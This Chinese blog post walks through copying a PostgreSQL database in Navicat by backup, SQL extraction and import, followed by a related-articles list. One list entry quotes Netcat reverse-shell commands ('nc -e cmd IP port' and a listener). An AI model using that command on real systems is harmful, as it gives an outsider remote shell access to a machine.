Navicat如何复制数据库

简介: Navicat如何复制数据库

前言:



这篇文章简单记录一下如何通过navicat备份一整个数据库留个记录,节省后面百度的时间。

注意,这里依照postgres数据库作为案例。


第一步:备份数据库



首先我们选择任意想要复制的数据库,选择备份按钮。


网络异常,图片无法展示
|


接着,我们可以在常规里面进行基本的配置,,可以在对象选择里面进行基本的配置。


网络异常,图片无法展示
|


点击备份之后,我们可以看到信息日志,navicat正在为我们备份整改数据库的内容。


网络异常,图片无法展示
|


备份完成之后,在备份的列表里面,可以看到生成对应的日期时间戳生成的对应db文件。


网络异常,图片无法展示
|


关键的地方来了,到了这一步,说明整个库的数据和结构我们都备份好了,现在我们需要将其提取到sql里面,用做新的数据库导入。右击需要导出sql文件的备份,点击提取SQL


网络异常,图片无法展示
|


接着我们选择提取sql,然后指定一个目录的位置,确定之后,navicat就开始将整个备份导出到sql。同样耐心等待信息日志。


这个过程可能会很长,请耐心等待


网络异常,图片无法展示
|


第二步:新建需要复制的数据



这个操作应该简单的不能再简单了,就是新建一个新的数据库。


网络异常,图片无法展示
|


第三步:导入备份数据库



这一步也是非常简单的,右击选择数据库,,选择运行sql文件,找到刚刚提取出来的sql文件导入,然后耐心等待即可。


这个过程比较长,数据库大的话几分钟,甚至小时都是有可能的,这时候可以去干干别的事情,进度条不动不一定是死机了,可能是数据过大没有加载进度条


网络异常,图片无法展示
|


总结:



这次简单记录的一下如何快速的复制一个数据库,当然更快的方式是使用pq_dump(针对不同数据库有不同的备份命令)。速度要比navicat 快上好几倍。但是通常情况下我们连接数据库的服务器或者客户端都不在本地,这种方式备份和复制整个库是十分方便的。


同时养成良好的备份习惯有助于严重失误的时候进行回溯。

相关文章
|
Shell Linux Windows
nc简单反弹shell
该内容描述了在Windows和Linux环境中使用`nc`(Netcat)工具建立反弹shell的过程。在Windows上,反弹端通过命令`nc -e cmd IP 端口`将控制权反弹到指定IP;控制端则运行`nc -lvvp 端口`等待连接。在Linux环境下,类似地,使用`nc -l -v -p 端口`作为控制端,而被控端用`nc 目标IP 端口`进行连接。文中还包含相关截图以辅助说明。
565 0
|
前端开发 应用服务中间件 nginx
Next.js 创建项目到服务器部署(目录结构介绍、项目结构Demo、开发细节注意)
Next.js 创建项目到服务器部署(目录结构介绍、项目结构Demo、开发细节注意)
1570 0
|
9月前
|
机器学习/深度学习 人工智能 监控
AI视频监控在大型商场的智能技术方案
该方案通过目标检测与姿态识别技术(如YOLO、OpenPose),实时监控顾客行为,识别异常动作如夹带物品、藏匿商品等,并结合AI模型分析行为模式,防止偷窃。出口处设置结算验证系统,比对结算记录与视频信息,确保商品全部支付。多角度摄像头和数据交叉验证减少误报,注重隐私保护,提升安保效率,降低损失率,增强顾客信任。
609 15
|
存储 Prometheus 监控
程序开发中的监控和日志分析
监控和日志分析在软件开发中至关重要,它们帮助实时了解应用状态、及时发现并解决问题。监控确保系统稳定运行,优化性能和资源;日志分析则助于追踪问题根源、监测用户行为并提供安全审计。利用如Prometheus、ELK Stack等工具可实现高效监控与日志管理,从而优化应用性能和用户体验。
479 2
|
存储 人工智能 数据挖掘
通义灵码的隐私保护机制
在数字化时代,用户隐私保护成为软件开发的重要环节。通义灵码作为一款先进的AI代码生成工具,通过数据加密、匿名化处理及遵守GDPR和CCPA等隐私法规,确保用户隐私安全,提升开发效率,增强用户信任,促进业务发展。
通义灵码的隐私保护机制
|
存储 JSON NoSQL
MongoDB入门-MongDB介绍和安装
MongoDB是一个基于分布式文件存储 [1] 的数据库。由C++语言编写。旨在为WEB应用提供可扩展的高性能数据存储解决方案。 MongoDB是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。它支持的数据结构非常松散,是类似json的bson格式,因此可以存储比较复杂的数据类型。Mongo最大的特点是它支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。
2027 1
|
人工智能 API Apache
推荐3款开源、美观且免费的WinForm UI控件库
推荐3款开源、美观且免费的WinForm UI控件库
2148 6
|
开发框架 .NET 数据库连接
解决HTTP错误500.19 - internal server error -内部服务器错误的终极指南
解决HTTP错误500.19 - internal server error -内部服务器错误的终极指南
4746 0
|
SQL 关系型数据库 MySQL
【超全整理】SQL日期与时间函数大汇总会:MySQL与SQL Server双轨对比教学,助你轻松搞定时间数据处理难题!
【8月更文挑战第31天】本文介绍了在不同SQL数据库系统(如MySQL、SQL Server、Oracle)中常用的日期与时间函数,包括DATE、NOW()、EXTRACT()、DATE_ADD()、TIMESTAMPDIFF()及日期格式化等,并提供了具体示例。通过对比这些函数在各系统中的使用方法,帮助开发者更高效地处理日期时间数据,满足多种应用场景需求。
1742 1
|
中间件 数据挖掘 API
ERP系统的系统集成与接口管理:实现高效协同
【7月更文挑战第29天】 ERP系统的系统集成与接口管理:实现高效协同
1176 0